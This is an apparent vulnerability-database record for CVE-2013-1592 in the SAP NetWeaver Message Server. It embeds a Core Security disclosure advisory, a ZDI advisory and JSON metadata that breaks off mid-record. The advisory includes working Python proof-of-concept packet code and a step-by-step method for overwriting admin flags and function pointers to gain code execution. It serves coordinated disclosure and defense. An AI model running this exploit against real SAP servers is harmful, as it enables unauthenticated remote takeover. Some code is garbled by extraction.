var-202001-0832
Vulnerability from variot
A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04.
The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/
CORE-2012-1128
- Advisory Information
Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release
- Vulnerability Information
Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593
-
By sending different messages, the different vulnerabilities can be triggered.
-
Vulnerable packages
. Older versions are probably affected too, but they were not checked.
- Non-vulnerable packages
. Vendor did not provide this information.
- Vendor Information, Solutions and Workarounds
SAP released the security note 1800603 [2] regarding these issues.
- Credits
Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
The following python script is the main PoC that can be used to reproduce all vulnerabilities described below:
/----- import socket, struct from optparse import OptionParser
Parse the target options
parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args()
client_string = '-'+' '39 server_name = '-'+' '39
def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet)
def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data)
def initialize_connection(hostname, port):
# Connect
print "[*] Connecting to", hostname, "port", port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((hostname, port))
# Send initialization packet
print "[*] Conected, sending login request"
init = '**MESSAGE**\x00' # eyecatcher
init+= '\x04' # version
init+= '\x00' # errorno
init+= client_string # toname
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init)
# Receive response
print "[*] Receiving login reply"
(length, data) = receive(connection)
# Parsing login reply
server_name = data[4+64:4+64+40]
return connection
Main PoC body
connection = initialize_connection(options.hostname, options.port) send_attack(connection)
-----/
In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities.
8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module.
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows:
/----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT':
/----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function:
/----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax8] lea esi, j2ee_stat_services.totalMsgCount[esi8] ;using the index without validating array bounds
-----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct:
/----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends
-----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below:
/----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1
.text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ;
.text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ;
.text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ;
.text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ;
.text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx
[...]
-----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives:
/----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8]
-----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server.
A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below:
/----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends
-----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client:
/----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed
-----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0':
/----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r
-----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0':
/----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server.
After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation:
- Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections.
- Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server.
8.1.1. Gaining remote code execution by overwriting function pointers
Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet.
One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters:
/----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]
; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost>
[...]
-----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set').
After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function:
/----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer
-----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array.
8.1.2. Modify the configuration and behavior of the server
After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps:
- Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'.
- Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4].
The following python code can be used to trigger the vulnerability:
/----- def send_attack(connection): print "[] Sending crash packet" crash = 'MESSAGE*\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd
crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash)
print "[*] Crash sent !"
-----/
8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module.
The following python code can be used to trigger the vulnerability:
/----- def send_attack(connection): print "[] Sending crash packet" crash = 'MESSAGE*\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd
crash+= "AD-EYECATCH\x00"
crash+= "\x01\x01"
crash+= "%11d" % 104
crash+= "%11d" % 1
crash+= "\x15\x00\x00\x00"
crash+= "\x20\x00\x00\xc8"
crash+= "LALA" + ' '*(20-4)
crash+= "LOLO" + ' '*(40-4)
crash+= " "*36
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
- Report Timeline . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd,
-
2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published.
-
References
[1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.
[4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.
[5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-111 June 28, 2012
-
-- CVE ID:
-
-- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C
-
-- Affected Vendors: SAP
-
-- Affected Products: SAP NetWeaver
-
-- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407.
-
-- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40
-
-- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-28 - Coordinated public release of advisory
-
-- Credit: This vulnerability was discovered by:
-
e6af8de8b1d4b2b6d5ba2610cbf9cd38
-
-- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
-----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8
wsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM yIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1 Vuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X uqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE NiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi TsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg== =FVga -----END PGP SIGNATURE-----
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0832",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "netweaver",
"scope": null,
"trust": 2.1,
"vendor": "sap",
"version": null
},
{
"model": "netweaver",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2004s"
},
{
"model": "netweaver abap",
"scope": null,
"trust": 1.2,
"vendor": "sap",
"version": null
},
{
"model": "netweaver",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "7.01"
},
{
"model": "netweaver",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "7.02"
},
{
"model": "netweaver",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "7.30"
},
{
"model": "netweaver",
"scope": "eq",
"trust": 0.8,
"vendor": "sap",
"version": null
},
{
"model": "netweaver",
"scope": "eq",
"trust": 0.8,
"vendor": "sap",
"version": "7.01 sr1"
},
{
"model": "netweaver",
"scope": "eq",
"trust": 0.8,
"vendor": "sap",
"version": "7.02 sp06"
},
{
"model": "netweaver",
"scope": "eq",
"trust": 0.8,
"vendor": "sap",
"version": "7.30 sp04"
},
{
"model": "netweaver abap null",
"scope": "eq",
"trust": 0.4,
"vendor": "sap",
"version": "*"
},
{
"model": "netweaver 2004s",
"scope": "eq",
"trust": 0.3,
"vendor": "sap",
"version": "0"
}
],
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "BID",
"id": "57956"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "e6af8de8b1d4b2b6d5ba2610cbf9cd38",
"sources": [
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
}
],
"trust": 2.1
},
"cve": "CVE-2013-1592",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1592",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "ZDI",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "ZDI-12-112",
"impactScore": 8.5,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "HIGH",
"trust": 0.7,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "ZDI",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "ZDI-12-111",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "HIGH",
"trust": 0.7,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
